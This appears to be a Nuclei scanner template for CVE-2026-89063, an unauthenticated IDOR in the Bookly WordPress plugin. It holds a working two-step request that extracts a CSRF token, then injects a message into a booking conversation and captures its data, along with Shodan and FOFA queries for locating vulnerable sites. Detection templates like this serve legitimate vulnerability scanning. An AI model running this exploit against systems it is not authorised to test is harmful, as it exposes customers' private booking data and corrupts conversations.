Bookly <=28.1 - IDOR Unauthenticated Sensitive Data Access

id: CVE-2026-89063

info:
  name: Bookly <=28.1 - IDOR Unauthenticated Sensitive Data Access
  author: 0x_Akoko
  severity: high
  description: |
    Bookly WordPress plugin <= 28.1 contains an insecure direct object reference caused by missing validation on 'conversation_id' parameter, letting unauthenticated attackers read and inject messages into any AI booking conversation, exploit requires no authentication.
  impact: |
    Unauthenticated attackers can read sensitive customer booking data and inject messages into conversations, compromising privacy and data integrity.
  remediation: |
    Update to the latest version beyond 28.1.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/bookly-responsive-appointment-booking-tool/online-scheduling-and-appointment-booking-system-281-insecure-direct-object-reference-to-unauthenticated-sensitive-data-access-and-message-injection-via-conversation-id-parameter
    - https://www.cve.org/CVERecord?id=CVE-2026-89063
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
    cvss-score: 8.2
    cve-id: CVE-2026-89063
    cwe-id: CWE-639
  metadata:
    verified: true
    max-request: 2
    vendor: bookly
    product: bookly-responsive-appointment-booking-tool
    shodan-query: 'http.html:"BooklyL10nGlobal"'
    fofa-query: 'body="BooklyL10nGlobal"'
  tags: cve,cve2026,wordpress,wp-plugin,bookly,idor,unauth

flow: |
  http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    max-redirects: 3
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "BooklyL10nGlobal")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: csrftoken
        part: body
        regex:
          - '"csrf_token"\s*:\s*"([^"]+)"'
        group: 1
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        X-Requested-With: XMLHttpRequest
        Referer: {{RootURL}}/

        action=bookly_ai_send_message&csrf_token={{csrftoken}}&conversation_id=0&message=hello

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "json")'
          - 'contains_all(body, "conversation_id", "last_message_id")'
        condition: and

    extractors:
      - type: dsl
        dsl:
          - 'body'
# digest: 490a0046304402202235b63dedc523788ea74f2492ca6b38b9a24d6286b49b6dcf6832e35ff4102e02201b1fb317247fcd0acc922d122a30a2fd63fc59d0fda6f7de8f0282ea8f16f7aa:922c64590222798bb761d5b6d8e72950